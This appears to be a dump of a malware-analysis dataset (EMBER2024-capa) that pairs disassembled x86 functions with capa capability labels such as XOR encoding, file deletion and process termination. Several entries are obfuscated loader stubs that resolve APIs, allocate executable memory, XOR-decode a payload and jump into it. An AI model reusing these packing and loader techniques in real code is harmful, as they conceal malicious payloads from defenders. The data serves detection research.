joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10103939
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10103948
pop dword [ebp - 0x18]
mov eax, 0x3c5df00a
add eax, 0xd3b2493e
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x533a2820
add dword [ebp - 0x28], 0xfb181d2b
mov dword [ebp - 0x24], 0xe0b9d917
add dword [ebp - 0x24], 0x5179732e
mov dword [ebp - 0x20], 0x6ee340d9
sub dword [ebp - 0x20], 0x2296fcab
mov dword [ebp - 0x1c], 0x2625a888
sub dword [ebp - 0x1c], 0x2625a888
lea eax, [ebp - 0x28]
push eax
mov eax, 0x395156a0
add eax, 0xd6c3bc18
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x2dd0ed31
add dword [ebp - 0x28], 0x46a17c25
mov dword [ebp - 0x24], 0x446c5180
sub dword [ebp - 0x24], 0x2fff00b
mov dword [ebp - 0x20], 0x9b478e77
sub dword [ebp - 0x20], 0x37d8220b
mov dword [ebp - 0x1c], 0x8e50ac65
sub dword [ebp - 0x1c], 0x8e50ac65
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0xf6efdee8
sub eax, 0xe6dacc4c
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x72826
push 0
call eax
mov ecx, 0xc109c9e1
add ecx, 0x3ef67cc6
mov esi, eax
mov edx, 0xb90c62b4
sub edx, 0xa88de0b4
add edx, dword [ebp - 0x18]
mov ebx, 0xe6d72c7e
xor dword [ebp - 0xc], 0x4c325701
mov edi, dword [edx]
mov dword [ebp - 0x10], 0xfca8768a
xor edi, ebx
mov dword [ebp - 0xc], 0x288d28c6
mov dword [esi], edi
add dword [ebp - 4], eax
add esi, 0x880785ba
sub esi, 0x880785b6
add edx, 4
loop 0x10103a64
add eax, 0x10d6f
mov ebx, eax
add eax, 0x7b7bb285
add eax, 0x84844d80
mov ecx, 0x3e6ddccc
sub ecx, 0x2e6ddccc
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x101236a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
cmp byte [edi + 0x2d], 0
jne 0x1012373b
push ebx
mov ebx, dword [ebp + 0x10]
lea eax, [ebp - 4]
push esi
push 0
push eax
push ebx
push dword [ebp + 0xc]
push dword [edi + 0x30]
call dword [sym.imp.kernel32.dll_ReadFile]
mov esi, dword [ebp - 4]
cmp esi, ebx
je 0x101236f2
mov byte [edi + 0x2d], 0xff
test esi, esi
je 0x101236f2
cmp esi, ebx
jge 0x101236f2
mov eax, ebx
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp dword [edi + 0x18], 0
je 0x10123735
add dword [edi + 0x1c], ebx
cmp dword [edi + 0x1c], 0xffff
jle 0x10123735
xor eax, eax
mov word [edi + 0x1e], ax
mov eax, dword [edi]
push edi
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x10151aac]
call esi
mov ecx, dword [edi + 0x18]
push 1
push dword [edi + 0x20]
mov esi, dword [ecx]
push eax
push ecx
mov ecx, dword [esi + 0xc]
call dword [0x10151aac]
call dword [esi + 0xc]
mov esi, dword [ebp - 4]
mov eax, esi
pop esi
pop ebx
jmp 0x1012374d
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
pop edi
leave
ret 0xc

Function at 0x10123970
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
mov eax, dword [ebp + 8]
je 0x10123998
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
jmp 0x101239b2
lea ecx, [ebp - 0x108]
push ecx
push eax
call fcn.10103939
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
test eax, eax
setne al
xor ecx, ebp
call fcn.10143940
leave
ret 4

Function at 0x10123b80
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x310
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
je 0x10123bb6
push ebx
push dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.kernel32.dll_GetTempFileNameW]
jmp 0x10123c15
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10103939
lea eax, [ebp - 0x20c]
push eax
push edi
call fcn.10103939
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 0x10]
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
mov esi, eax
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.10103939
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10143940
leave
ret 0x10
Function at 0x10123c30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x107d058c], 0
push esi
mov esi, dword [ebp + 0xc]
je 0x10123c5c
push esi
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_GetTempPathW]
jmp 0x10123c8d
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.kernel32.dll_GetTempPathA]
test eax, eax
je 0x10123c8b
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.10103939
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
jmp 0x10123c8d
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10143940
leave
ret 8
Function at 0x10132ac0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
mov eax, dword [0x101935e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor edx, edx
push edi
xor ebx, ebx
inc edx
mov edi, dword [esi]
cmp dword [edi + 0x254], ebx
je 0x10132b20
cmp dword [edi + 0x264], ebx
je 0x10132b19
cmp byte [0x107d058c], 0
push edi
push dword [edi + 0x250]
je 0x10132b08
call dword [sym.imp.kernel32.dll_FindNextFileW]
jmp 0x10132b0e
call dword [sym.imp.kernel32.dll_FindNextFileA]
mov ecx, dword [esi]
xor edx, edx
inc edx
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
jmp 0x10132c00
mov eax, dword [edi + 0x25c]
test eax, eax
je 0x10132c8f
push eax
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
pop ecx
pop ecx
mov ecx, dword [esi]
cmp dword [ecx + 0x260], ebx
je 0x10132b6e
lea eax, [ebp - 0x234]
push eax
call fcn.10103939
mov eax, dword [esi]
push dword [eax + 0x260]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
mov ecx, dword [esi]
add esp, 0xc
test byte [ecx + 0x268], 1
push 0x10
pop eax
lea edx, [eax + 0x70]
cmove eax, edx
mov dword [ecx], eax
cmp byte [0x107d058c], 0
je 0x10132b9a
push dword [esi]
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
jmp 0x10132bbc
lea eax, [ebp - 0x34c]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.10103939
push dword [esi]
lea eax, [ebp - 0x34c]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ecx, dword [esi]
mov dword [ecx + 0x250], eax
xor eax, eax
mov ecx, dword [esi]
cmp dword [ecx + 0x250], 0xffffffff
setne al
mov dword [ecx + 0x264], eax
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10132bea
mov dword [eax + 0x250], ebx
mov eax, dword [esi]
xor edx, edx
inc edx
mov dword [eax + 0x254], edx
mov eax, dword [esi]
cmp dword [eax + 0x264], ebx
jne 0x10132c00
mov dword [esi + 4], edx
mov ecx, eax
cmp dword [eax + 0x264], ebx
je 0x10132c27
cmp byte [0x107d058c], 0
jne 0x10132c27
push dword [eax + 0x258]
add eax, 0x2c
push eax
call fcn.10103939
mov ecx, dword [esi]
xor edx, edx
inc edx
mov eax, dword [ecx]
mov dword [ecx + 0x26c], eax
mov edi, dword [esi]
mov ebx, dword [edi + 0x26c]
shr ebx, 4
and ebx, edx
je 0x10132c5c
push esi
xor ebx, ebx
call fcn.10103939
xor edx, edx
inc edx
cmp word [eax], 0x2e
je 0x10132c58
test byte [edi + 0x268], 3
jne 0x10132c66
mov ebx, edx
jmp 0x10132c66
test byte [edi + 0x268], 1
cmovne ebx, edx
mov eax, dword [edi + 0x264]
test eax, eax
je 0x10132c8a
push 0
test ebx, ebx
pop ebx
jne 0x10132ae0
test byte [edi + 0x26c], 2
jne 0x10132ae0
test eax, eax
setne al
jmp 0x10132c91
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10143940
leave
ret 4
Function at 0x10011be
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x1002018]
push 0x104
lea ecx, [ebp - 0x160]
mov dword [ebp - 0x174], ecx
push 1
lea ecx, [ebp - 0x174]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ecx
push eax
call fcn.01001149
cmp eax, 1
jl 0x100129e
push ebx
xor ebx, ebx
cmp byte [ebp - 0x160], bl
push esi
lea esi, [ebp - 0x160]
je 0x1001238
cmp byte [esi], 0x3a
je 0x100121b
inc esi
cmp byte [esi], bl
jne 0x100120f
jmp 0x100121e
mov byte [esi], bl
inc esi
cmp byte [esi], bl
je 0x1001238
push 0x10010ac
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x100123e
lea esi, [ebp - 0x160]
push 0x29
lea eax, [ebp - 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x100129c
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
jl 0x100129c
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x100129c
push ebx
lea eax, [ebp - 0x170]
push eax
call sub.ole32.dll_CoRegisterSurrogateEx
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
call fcn.01001324
leave
ret 0x10

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x3a347e5e
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x72eb7871
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x29a0f127
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x29a0f136
pop dword [ebp - 0xc]
mov eax, 0x29a0f136
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xac1d2cd5
sub dword [ebp - 0x1c], 0x5dcae78a
mov dword [ebp - 0x18], 0x36404006
sub dword [ebp - 0x18], 0x40cf3c1
mov dword [ebp - 0x14], 0x7c51624c
sub dword [ebp - 0x14], 0x30051e1e
mov dword [ebp - 0x10], 0x7ed91e17
sub dword [ebp - 0x10], 0x7ed91e17
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xb23114f3
add dword [ebp - 0x1c], 0xc2415463
mov dword [ebp - 0x18], 0x73ab5cd9
sub dword [ebp - 0x18], 0x323efb64
mov dword [ebp - 0x14], 0x6e71a927
add dword [ebp - 0x14], 0xf4fdc345
mov dword [ebp - 0x10], 0x3df65d18
add dword [ebp - 0x10], 0xc209a2e8
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x1655539f
add eax, 0x134beca5
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x39c3f
push 0
call eax
mov ecx, 0xf27e0d25
sub ecx, 0xf27dc740
mov edi, eax
mov ebx, 0x366093dc
add ebx, 0xf3418c24
add ebx, dword [ebp - 0xc]
mov esi, 0x8fb50655
sub esi, 0xc5666581
xor dword [ebp - 4], edi
mov edx, dword [ebx]
sub dword [ebp - 8], 0x892d96cd
xor edx, esi
mov dword [edi], edx
sub dword [ebp - 4], 0x83f31bcd
add edi, 0xd088d45
sub edi, 0xd088d41
add ebx, 4
loop 0x29a0f24e
add eax, 0x55d04fa1
add eax, 0xaa30bac6
mov ebx, eax
add eax, 0xbaff211a
add eax, 0x4500deeb
mov ecx, 0x2cb5096f
sub ecx, 0x315096f
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x405fe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [ebp - 0x22f7b], cl
dec dword [ecx - 0x39f7b]
inc dword [ebx - 0x6fb43]
inc dword [eax]
jne 0x4061af
and byte [ebp - 0x77c], 0
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
invalid
invalid
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x40611c
pop dword [ebp - 8]
mov eax, 0x1d955137
add eax, 0xe2ab0fe5
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x2d224ce7
sub dword [ebp - 0x18], 0xded0079c
mov dword [ebp - 0x14], 0x273af4
add dword [ebp - 0x14], 0x320c1151
mov dword [ebp - 0x10], 0xa5c5e32d
sub dword [ebp - 0x10], 0x59799eff
mov dword [ebp - 0xc], 0xd307b337
sub dword [ebp - 0xc], 0xd307b337
lea eax, [ebp - 0x18]
push eax
mov eax, 0xc77ee01f
add eax, 0x38c19041
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xfe8525d1
add dword [ebp - 0x18], 0x75ed4385
mov dword [ebp - 0x14], 0x128520b0
sub dword [ebp - 0x14], 0xd118bf3b
mov dword [ebp - 0x10], 0x64e76b38
sub dword [ebp - 0x10], 0x177fecc
mov dword [ebp - 0xc], 0x11e4eb9a
sub dword [ebp - 0xc], 0x11e4eb9a
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xd3a2f0ea
add eax, 0x2c9d8016
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3a8ff
push 0
call eax
mov ecx, 0xc5af8be
sub ecx, 0xc5aa0ed
xor edi, edi
add edi, eax
mov edx, 0x23e337c8
sub edx, 0x23a237c8
add edx, dword [ebp - 8]
mov esi, 0x89b76d6a
xor dword [ebp - 4], 0xa131277
mov ebx, dword [edx]
xor ebx, esi
add dword [ebp - 4], edi
mov dword [edi], ebx
mov dword [ebp - 4], 0x64993c4e
add edi, 0x2cee8105
add edi, 0xd3117eff
add edx, 4
loop 0x40623a
add eax, 0x15217
mov ebx, eax
add eax, 0x828d063b
add eax, 0x7d72f9ca
mov ecx, 0xb2e13815
add ecx, 0x4d5ec7eb
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x402aa0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 8
mov eax, dword [0x42f068]
xor eax, esp
mov dword [esp + 4], eax
push ebx
push esi
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 2
push 0
mov esi, eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
cmp dword [esp + 8], 2
jge 0x402ae9
push 0
push 0
jmp 0x402aef
push dword [esi + 8]
push dword [esi + 4]
call fcn.00402210
mov bl, al
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 0xc]
pop esi
movzx eax, bl
pop ebx
xor ecx, esp
call fcn.00407a96
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40b543
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x42346c
push 0x423464
push str.FlsAlloc
push 0
call fcn.0040b4c3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40b575
push dword [ebp + 8]
mov ecx, esi
call fcn.00408226
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x40b5b7
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x42347c
push 0x423474
push str.FlsGetValue
push 2
call fcn.0040b4c3
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x40b5e8
mov ecx, esi
call fcn.00408226
call esi
jmp 0x40b5ee
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x40b5f1
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x423484
push 0x42347c
push str.FlsSetValue
push 3
call fcn.0040b4c3
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x40b625
mov ecx, esi
call fcn.00408226
call esi
jmp 0x40b62b
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret
Function at 0x402ed5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x402ee4
pop dword [ebp - 0x38]
mov eax, 0x21437eeb
add eax, 0xdefcaff9
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x3fd367b1
sub dword [ebp - 0x48], 0xf1812266
mov dword [ebp - 0x44], 0xa81f8d08
add dword [ebp - 0x44], 0x8a13bf3d
mov dword [ebp - 0x40], 0x1d719183
add dword [ebp - 0x40], 0x2edab2ab
mov dword [ebp - 0x3c], 0x1a1eb345
sub dword [ebp - 0x3c], 0x1a1eb345
lea eax, [ebp - 0x48]
push eax
mov eax, 0xf4222df4
sub eax, 0xf3e1acf0
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xdcaa8252
sub dword [ebp - 0x48], 0x683818fc
mov dword [ebp - 0x44], 0xe05d0d07
add dword [ebp - 0x44], 0x610f546e
mov dword [ebp - 0x40], 0xc422a5ce
add dword [ebp - 0x40], 0x9f4cc69e
mov dword [ebp - 0x3c], 0xdb01d7d7
sub dword [ebp - 0x3c], 0xdb01d7d7
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x31e669f9
add eax, 0xce5a1707
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3aa77
push 0
call eax
mov ecx, 0xbe6aba0b
add ecx, 0x41959c6e
mov edx, eax
mov ebx, 0x54f3deac
add ebx, 0xab530554
add ebx, dword [ebp - 0x38]
mov edi, 0x20030bf9
add edi, 0xa07b45ca
xor dword [ebp - 0x30], esi
mov esi, dword [ebx]
add dword [ebp - 4], ebx
xor esi, edi
mov dword [edx], esi
xor dword [ebp - 0x20], eax
add edx, 0x981e8a12
add edx, 0x67e175f2
add ebx, 0x217961f3
add ebx, 0xde869e11
loop 0x403006
add eax, 0x14cb7
mov ebx, eax
add eax, 5
mov ecx, 0x6d8099b5
sub ecx, 0x6d4099b5
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x40317b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x4031a6
mov ecx, dword [0x42a298]
push esi
add eax, ecx
push esi
push eax
mov dword [0x418ed4], eax
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 4
call fcn.00403283
cmp eax, esi
jl 0x40327d
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp + 8]
add dword [0x418ed4], 4
call fcn.00403283
mov ebx, eax
cmp ebx, esi
jl 0x40327b
cmp dword [ebp + 0x10], esi
jne 0x403249
cmp dword [ebp + 8], esi
jle 0x40327b
mov esi, 0x414ed0
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x40320b
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00402ed5
test eax, eax
je 0x40326d
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00402ed5
test eax, eax
je 0x403245
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x418ed4], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4031fa
jmp 0x40327b
push 0xfffffffffffffffe
jmp 0x40326f
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403254
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x403272
push 0xfffffffffffffffd
pop eax
jmp 0x40327d
mov ebx, dword [ebp - 4]
add dword [0x418ed4], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x4219a3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4219b2
pop dword [ebp - 0x10]
mov eax, 0xd4d064d
add eax, 0xf2f51365
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3de65
push 0
mov eax, 0xdce99b11
sub eax, 0xdca748f9
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x7ff1b1f5
sub ecx, 0x7ff16a6e
xor edx, edx
add edx, eax
mov esi, 0x435400
add esi, dword [ebp - 0x10]
mov ebx, 0x4e29a0a
sub dword [ebp - 8], 0x7a5fccf0
mov edi, dword [esi]
mov dword [ebp - 0xc], 0xcb16c392
xor edi, ebx
xor dword [ebp - 4], edx
mov dword [edx], edi
sub dword [ebp - 0xc], ecx
add edx, 4
add esi, 0xf65b9ec4
sub esi, 0xf65b9ec0
loop 0x421a07
add eax, 0x515fcb7
sub eax, 0x514ebc8
mov ebx, eax
add eax, 0x5c2c5179
add eax, 0xa3d3ae8c
mov ecx, 0x702bf8da
sub ecx, 0x6febf8da
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40ef4e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40ef5d
pop dword [ebp - 0x50]
mov eax, 0xafb3d5b4
add eax, 0x508d19a9
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xd8cc0b71
sub dword [ebp - 0x60], 0x8a79c626
mov dword [ebp - 0x5c], 0x348c22e4
sub dword [ebp - 0x5c], 0x258d69f
mov dword [ebp - 0x58], 0xbce172aa
add dword [ebp - 0x58], 0x8f6ad184
mov dword [ebp - 0x54], 0xdf08bdf2
sub dword [ebp - 0x54], 0xdf08bdf2
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xf2cdbbe4
sub dword [ebp - 0x60], 0x7e5b528e
mov dword [ebp - 0x5c], 0xd2fc8c97
add dword [ebp - 0x5c], 0x6e6fd4de
mov dword [ebp - 0x58], 0x9365ab0c
add dword [ebp - 0x58], 0xd009c160
mov dword [ebp - 0x54], 0xd4e9278e
add dword [ebp - 0x54], 0x2b16d872
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3ef22
push 0
call eax
mov ecx, 0xd5f97dc5
add ecx, 0x2a06cf3c
xor esi, esi
add esi, eax
mov edx, 0x761a82d1
add edx, 0x8a28c12f
add edx, dword [ebp - 0x50]
mov ebx, 0x298f4b0b
sub ebx, 0x3556afd
xor dword [ebp - 0x24], ebx
mov edi, dword [edx]
sub edi, ebx
xor dword [ebp - 0x14], esi
mov dword [esi], edi
xor dword [ebp - 0x30], esi
add esi, 4
add edx, 4
loop 0x40f077
add eax, 0xdd90f4aa
sub eax, 0xdd8fcdd3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xdfc4b9d1
add ecx, 0x207b462f
add ecx, dword [ebp - 0x50]
call ebx
leave
ret